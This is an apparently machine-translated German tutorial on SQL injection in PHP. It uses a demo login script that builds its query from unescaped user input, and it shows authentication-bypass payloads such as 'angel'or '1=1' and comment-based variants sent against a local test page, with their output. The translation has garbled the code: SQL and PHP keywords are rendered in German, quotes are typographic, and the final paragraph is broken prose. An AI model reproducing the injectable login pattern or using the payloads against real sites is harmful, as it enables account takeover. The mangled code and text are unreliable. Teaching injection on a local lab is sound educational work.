Lassen Sie mich zunächst ein Beispiel geben, um die Besonderheiten und das Prinzip der Injektion unter PHP zu verstehen. Natürlich kann Ihnen dieses Beispiel auch zeigen, wie Sie lernen, effektive SQL-Anweisungen zu erstellen.
Nehmen wir ein Beispiel für die Benutzerüberprüfung. Erstellen Sie zunächst eine Datenbank und eine Datentabelle und fügen Sie einen Datensatz wie folgt ein:
PHP-Code:
TABELLE „Benutzer“ ERSTELLEN (
`userid` int(11) NOT NULL auto_increment,
„Benutzername“ varchar(20) NICHT NULL Standard '',
„Passwort“ varchar(20) NOT NULL Standard '',
PRIMÄRSCHLÜSSEL („userid“)
) TYPE=MyISAM AUTO_INCREMENT=3;
#
# Exportieren Sie die Daten in die Tabelle „Benutzer“.
#
INSERT INTO „user“ VALUES (1, „angel“, „mypass“);
Der Code zur Überprüfung der Benutzerdatei lautet wie folgt:
PHP-Code:
<?php
$servername = "localhost";
$dbusername = "root";
$dbpassword = "";
$dbname = "injection";
mysql_connect($servername,$dbusername,$dbpassword) oder die („Datenbankverbindung fehlgeschlagen“);
$sql = "SELECT * FROM user WHERE username='$username' AND password='$password'";
$result = mysql_db_query($dbname, $sql);
$userinfo = mysql_fetch_array($result);
if (empty($userinfo)){
echo „Anmeldung fehlgeschlagen“;
} anders {
echo „Anmeldung erfolgreich“;
}
echo "<p>SQL-Abfrage:$sql<p>";
?>
Zu diesem Zeitpunkt übermitteln wir:
http://127.0.0.1/injection/user.php?username=angel'or 1=1
und es wird zurückgegeben:
Warnung: mysql_fetch_array(): angegebenes Argument ist keine gültige MySQL-Ergebnisressource in F :wwwinjectionuser.php in Zeile 13
Fehler bei der Anmeldung
SQL-Abfrage:SELECT * FROM user WHERE username='angel' or 1=1' AND password='
PHP-Warnung: mysql_fetch_array(): Das angegebene Argument ist keine gültige MySQL-Ergebnisressource in F:wwwinjectionuser.php in Zeile 13.
Siehe? Nachdem die einfachen Anführungszeichen geschlossen wurden, werden die folgenden einfachen Anführungszeichen nicht auskommentiert, was dazu führt, dass die einfachen Anführungszeichen nicht korrekt gepaart werden. Daher ist ersichtlich, dass die von uns erstellte Anweisung keine korrekte Ausführung von MySQL ermöglichen kann und neu strukturiert werden muss:
http://127.0.0.1/injection/user.php?username=angel'or '1=1
Zu diesem Zeitpunkt wird „Anmeldung erfolgreich“ angezeigt, was darauf hinweist, dass die Anmeldung erfolgreich war. Oder senden Sie:
http://127.0.0.1/injection/user.php?username=angel'/ *
http://127.0.0.1/injection/user.php?username=angel'%23
Dadurch werden die folgenden Aussagen auskommentiert! Lassen Sie uns über die Unterschiede zwischen diesen beiden Einreichungen sprechen. Es ist unnötig zu sagen, dass der erste Satz, den wir eingereicht haben, in ASP verwendet wird. Der zweite und dritte Satz basieren auf den Eigenschaften von MySQL. MySQL unterstützt zwei Kommentarformate: /* und #. Wenn wir also den folgenden Code auskommentieren, ist es erwähnenswert, dass wir aufgrund von Codierungsproblemen # einreichen Die IE-Adressleiste wird leer, daher sollten wir %23 eingeben, bevor sie zu # wird. Dies ist viel einfacher als logische Operationen leistungsstark und flexibel als ASP Viel mehr.